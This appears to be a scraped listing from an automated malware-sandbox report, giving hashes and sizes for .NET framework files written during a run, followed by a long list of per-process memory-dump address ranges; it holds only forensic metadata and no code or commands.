d1fae5172a4fed48fefc78954390ce356936a3bfb2331640355bc9c3659585b2f1aeda897a2c490586934682083522839b691b45fb2205c87c4cab926d5d5640

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Security\42c7a19a453afb14fda2fe8479e4d8b2\System.Security.ni.dll.aux

Filesize
912B

MD5
2919ee7ce3a32fb9281b48b99fb0b92c

SHA1
6aab45597d8a120a9373bac86fe3cbb19ff8e470

SHA256
d00cbd723a0870bc12e155e0edd51defcec623bb0c8fe0e927ea196da545e6a2

SHA512
b6fdbc82671af88a79e1ea6e0942a493e13a3c2527f3512079dd48b62ca704d988311ce33a944556766cea64d1b4be5460920de938c2e0ac6975e4ec55c714c1

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Web.82d5542b#\3951a32a1f9c2a58922ccf04395c0db4\System.Web.RegularExpressions.ni.dll

Filesize
302KB

MD5
4c835d2d9880c333e0e35bde04a3561e

SHA1
8fcfc3b35feea63bc70cafff46ea5065b9c073e6

SHA256
4826026e8b5dd2c44f9e22c5db11dff39a680d1998ff34c19004d433660b969b

SHA512
c6ba115310e4cd6e9f904f8d3cfa4ef7cecf86f091a7a7a7dbcfcd7bdb77c09e807742b8713a7e38aae0f59761442fe81064ed5f14a9369a9c6d5fde8692f202

Download Submit
C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Web\debe458f6197408829bf76c18c262527\System.Web.ni.dll

Filesize
16.2MB

MD5
6ec78f886589d95ea7f788af3923deb5

SHA1
d5247883bfc4f7bf92cc1d3e062eccf89a31f3c1

SHA256
4e01f30dcb3ee4cde2ba0d9cebe4958c7ed16b55d549b29559989104c2e8ebba

SHA512
9a5375a435f1d11903a7964fe89c31df168ab96ab1c23835705b46fe5c162aebef2df7b2594caad97868dbb97015ee1c0b6241d687034267cdd2d1fad5e7bb8c

Download Submit
C:\Windows\assembly\temp\NYP6HP2312\System.Web.ni.dll.aux

Filesize
3KB

MD5
ce54db457bd281f7613bbbea294182a2

SHA1
7b3928359497a024795ac23943c189a14380b328

SHA256
037ab52492a546b4edf419711d56df27f81244cb2d12e4b70204578f1696986e

SHA512
d9efa87343ce6be80b5558ac39489339a1cf7a28bed996a44b322a870bf5f6a6028b96e8dc6b49d74c382d681ffc1a60ae757bccc5f856481bcaa1181693a4b0

Download Submit
C:\Windows\assembly\temp\OP6JIMOLX7\System.EnterpriseServices.Wrapper.dll

Filesize
342KB

MD5
231b6e73760607a712f05f54052ee2a1

SHA1
0fce19afda7e30f43835e07b2dcce6c0ebce1ecc

SHA256
9c6c6f2d33cbb2b5a2e7e92634b0014771f3a4989d260400965a0396d4243b22

SHA512
e599eaf22f95d44b8cf6fc34a0692b0ee7eb622690fdf25b79e03ac4e9beabca3d078ad6ac3294dfd712ae0ec14d269126c89035b4441109ee07f743291f9148

Download Submit
C:\Windows\assembly\temp\OP6JIMOLX7\System.EnterpriseServices.ni.dll.aux

Filesize
1KB

MD5
5d1e9bda95db45b40559d89b665026d5

SHA1
1a6953be2ffe35705d904e98d0ea26bd49ee251e

SHA256
305459b52d1a3806171afb77f2e62cfd4e5e871e35151753b5560b962afec563

SHA512
2aa1081656fb809813acd86c07a6db260a718a607709ddad6b66dea373ccd3c28f42e5936e691ae7e7e927278c80a67ea68a2fbb93fa70d5015885f521d3ea7e

Download Submit
C:\Windows\assembly\temp\YBM0EPFJ1Y\System.Runtime.Caching.ni.dll.aux

Filesize
752B

MD5
d001e8a76df621e3854587d8a43f0e78

SHA1
ea718cc122ecb901d5ff11a6081675f0eb782988

SHA256
dba8451de7aea64358130ad517d4d29e0f245ade7b932757ba1bcec4c651c4d2

SHA512
1c251e4650f7f9d26f9328722d1b1a57e4b4b9beb1adcf35feb7210f85219d7ad6bda4574988f7c78ace502c505a1c6d01525a36356389dcd0fbad22834e3f06

Download Submit
memory/1168-107-0x0000000000B30000-0x0000000000B38000-memory.dmp

Filesize
32KB

Download
memory/1608-557-0x000006443CC40000-0x000006443CEF8000-memory.dmp

Filesize
2.7MB

Download
memory/1644-267-0x0000064445320000-0x000006444561E000-memory.dmp

Filesize
3.0MB

Download
memory/1880-297-0x0000064449980000-0x00000644499D8000-memory.dmp

Filesize
352KB

Download
memory/1948-215-0x0000064449A20000-0x0000064449B18000-memory.dmp

Filesize
992KB

Download
memory/2032-201-0x0000064488000000-0x000006448802B000-memory.dmp

Filesize
172KB

Download
memory/2400-230-0x0000064443EC0000-0x0000064443F11000-memory.dmp

Filesize
324KB

Download
memory/2856-710-0x00000166F5820000-0x00000166F5DC6000-memory.dmp

Filesize
5.6MB

Download
memory/2856-704-0x00000166F4DF0000-0x00000166F4E0A000-memory.dmp

Filesize
104KB

Download
memory/2856-705-0x00000166F42C0000-0x00000166F42CA000-memory.dmp

Filesize
40KB

Download
memory/2856-706-0x00000166F42E0000-0x00000166F42E8000-memory.dmp

Filesize
32KB

Download
memory/2856-707-0x00000166F4D50000-0x00000166F4D5C000-memory.dmp

Filesize
48KB

Download
memory/2856-708-0x00000166F4E40000-0x00000166F4E66000-memory.dmp

Filesize
152KB

Download
memory/2856-709-0x00000166F4D60000-0x00000166F4D6E000-memory.dmp

Filesize
56KB

Download
memory/2856-696-0x00000166F0B70000-0x00000166F0B7C000-memory.dmp

Filesize
48KB

Download
memory/2856-711-0x00000166F4D90000-0x00000166F4D98000-memory.dmp

Filesize
32KB

Download
memory/2856-703-0x00000166F4FD0000-0x00000166F51AA000-memory.dmp

Filesize
1.9MB

Download
memory/2856-702-0x00000166F3A40000-0x00000166F3A50000-memory.dmp

Filesize
64KB

Download
memory/2856-700-0x00000166F4D70000-0x00000166F4D82000-memory.dmp

Filesize
72KB

Download
memory/2856-694-0x00000166D5520000-0x00000166D58A4000-memory.dmp

Filesize
3.5MB

Download
memory/2856-698-0x00000166F4DA0000-0x00000166F4DE2000-memory.dmp

Filesize
264KB

Download
memory/3136-426-0x000001CDACC10000-0x000001CDACC30000-memory.dmp

Filesize
128KB

Download
memory/3136-425-0x000001CDAD120000-0x000001CDAD19E000-memory.dmp

Filesize
504KB

Download
memory/3136-394-0x000001CD94900000-0x000001CD9497A000-memory.dmp

Filesize
488KB

Download
memory/3136-391-0x000001CDACAB0000-0x000001CDACB6A000-memory.dmp

Filesize
744KB

Download
memory/3136-399-0x000001CDACC30000-0x000001CDACCE2000-memory.dmp

Filesize
712KB

Download
memory/3136-401-0x000001CD94740000-0x000001CD9474C000-memory.dmp

Filesize
48KB

Download
memory/3136-389-0x000001CDACD40000-0x000001CDAD0C4000-memory.dmp

Filesize
3.5MB

Download
memory/3136-415-0x000001CDACB70000-0x000001CDACBAA000-memory.dmp

Filesize
232KB

Download
memory/3136-416-0x000001CD94770000-0x000001CD9478C000-memory.dmp

Filesize
112KB

Download
memory/3136-419-0x000001CDACBB0000-0x000001CDACBD0000-memory.dmp

Filesize
128KB

Download
memory/3136-423-0x000001CDACBF0000-0x000001CDACC0A000-memory.dmp

Filesize
104KB

Download
memory/3136-392-0x000001CDAD600000-0x000001CDADB28000-memory.dmp

Filesize
5.2MB

Download
memory/3136-428-0x000001CDAD1A0000-0x000001CDAD1B2000-memory.dmp

Filesize
72KB

Download
memory/3136-432-0x000001CD94750000-0x000001CD94760000-memory.dmp

Filesize
64KB

Download
memory/3136-427-0x000001CDAD1E0000-0x000001CDAD21C000-memory.dmp

Filesize
240KB

Download
memory/3136-397-0x000001CD94790000-0x000001CD947DA000-memory.dmp

Filesize
296KB

Download
memory/3136-424-0x000001CDAD250000-0x000001CDAD372000-memory.dmp

Filesize
1.1MB

Download
memory/3136-422-0x000001CDACBD0000-0x000001CDACBEE000-memory.dmp

Filesize
120KB

Download
memory/3136-421-0x000001CDAD0D0000-0x000001CDAD114000-memory.dmp

Filesize
272KB

Download
memory/3136-420-0x000001CDACCF0000-0x000001CDACD22000-memory.dmp

Filesize
200KB

Download
memory/3136-418-0x000001CD94980000-0x000001CD94992000-memory.dmp

Filesize
72KB

Download
memory/3136-417-0x000001CDADB30000-0x000001CDADFFC000-memory.dmp

Filesize
4.8MB

Download
memory/3136-396-0x000001CD94730000-0x000001CD9473C000-memory.dmp

Filesize
48KB

Download
memory/3204-110-0x00000195B68E0000-0x00000195B6992000-memory.dmp

Filesize
712KB

Download
memory/3204-109-0x000001959E660000-0x000001959E682000-memory.dmp

Filesize
136KB

Download
memory/3204-108-0x00000195B69B0000-0x00000195B6B38000-memory.dmp

Filesize
1.5MB

Download
memory/3204-111-0x000001959E690000-0x000001959E6B2000-memory.dmp

Filesize
136KB

Download
memory/3204-106-0x00000195B67D0000-0x00000195B6820000-memory.dmp

Filesize
320KB

Download
memory/3204-105-0x000001959C8C0000-0x000001959C8D8000-memory.dmp

Filesize
96KB

Download
memory/3996-621-0x000001F367E60000-0x000001F367E86000-memory.dmp

Filesize
152KB

Download
memory/3996-626-0x000001F36E4B0000-0x000001F36F4DA000-memory.dmp

Filesize
16.2MB

Download
memory/4928-254-0x00000644451A0000-0x00000644454A4000-memory.dmp

Filesize
3.0MB

Download
memory/5604-1230-0x00007FFB26EA0000-0x00007FFB26EAF000-memory.dmp

Filesize
60KB

Download
memory/5604-1246-0x000001E5DF8E0000-0x000001E5DFE13000-memory.dmp

Filesize
5.2MB

Download
memory/5604-1242-0x00007FFB26E90000-0x00007FFB26E9D000-memory.dmp

Filesize
52KB

Download
memory/5604-1239-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp

Filesize
144KB

Download
memory/5604-1243-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp

Filesize
6.8MB

Download
memory/5604-1472-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp

Filesize
204KB

Download
memory/5604-1247-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp

Filesize
824KB

Download
memory/5604-1238-0x00007FFB1A2D0000-0x00007FFB1A2E9000-memory.dmp

Filesize
100KB

Download
memory/5604-1245-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp

Filesize
5.2MB

Download
memory/5604-1249-0x00007FFB196D0000-0x00007FFB196E4000-memory.dmp

Filesize
80KB

Download
memory/5604-1248-0x00007FFB22300000-0x00007FFB22325000-memory.dmp

Filesize
148KB

Download
memory/5604-1250-0x00007FFB23200000-0x00007FFB2320D000-memory.dmp

Filesize
52KB

Download
memory/5604-1251-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp

Filesize
176KB

Download
memory/5604-1252-0x00007FFB10A40000-0x00007FFB10B5A000-memory.dmp

Filesize
1.1MB

Download
memory/5604-1229-0x00007FFB22300000-0x00007FFB22325000-memory.dmp

Filesize
148KB

Download
memory/5604-1286-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp

Filesize
144KB

Download
memory/5604-1389-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp

Filesize
1.5MB

Download
memory/5604-1529-0x00007FFB26E90000-0x00007FFB26E9D000-memory.dmp

Filesize
52KB

Download
memory/5604-1237-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp

Filesize
176KB

Download
memory/5604-1228-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp

Filesize
6.8MB

Download
memory/5604-1241-0x00007FFB19C50000-0x00007FFB19C69000-memory.dmp

Filesize
100KB

Download
memory/5604-1240-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp

Filesize
1.5MB

Download
memory/5604-1244-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp

Filesize
204KB

Download
memory/5604-1474-0x000001E5DF8E0000-0x000001E5DFE13000-memory.dmp

Filesize
5.2MB

Download
memory/5604-1473-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp

Filesize
5.2MB

Download
memory/5604-1476-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp

Filesize
824KB

Download
memory/5604-1530-0x00007FFB22300000-0x00007FFB22325000-memory.dmp

Filesize
148KB

Download
memory/5604-1538-0x00007FFB145B0000-0x00007FFB145E3000-memory.dmp

Filesize
204KB

Download
memory/5604-1543-0x00007FFB10A40000-0x00007FFB10B5A000-memory.dmp

Filesize
1.1MB

Download
memory/5604-1542-0x00007FFB23200000-0x00007FFB2320D000-memory.dmp

Filesize
52KB

Download
memory/5604-1541-0x00007FFB196D0000-0x00007FFB196E4000-memory.dmp

Filesize
80KB

Download
memory/5604-1540-0x00007FFB0CAF0000-0x00007FFB0D1B1000-memory.dmp

Filesize
6.8MB

Download
memory/5604-1539-0x00007FFB08E50000-0x00007FFB09383000-memory.dmp

Filesize
5.2MB

Download
memory/5604-1537-0x00007FFB10E80000-0x00007FFB10F4E000-memory.dmp

Filesize
824KB

Download
memory/5604-1536-0x00007FFB19C50000-0x00007FFB19C69000-memory.dmp

Filesize
100KB

Download
memory/5604-1535-0x00007FFB10B60000-0x00007FFB10CDF000-memory.dmp

Filesize
1.5MB

Download
memory/5604-1534-0x00007FFB149B0000-0x00007FFB149D4000-memory.dmp

Filesize
144KB

Download
memory/5604-1533-0x00007FFB1A2D0000-0x00007FFB1A2E9000-memory.dmp

Filesize
100KB

Download
memory/5604-1532-0x00007FFB1A2F0000-0x00007FFB1A31C000-memory.dmp

Filesize
176KB

Download
memory/5604-1531-0x00007FFB26EA0000-0x00007FFB26EAF000-memory.dmp

Filesize
60KB

Download
memory/5664-1403-0x000002361AE20000-0x000002361AE28000-memory.dmp

Filesize
32KB

Download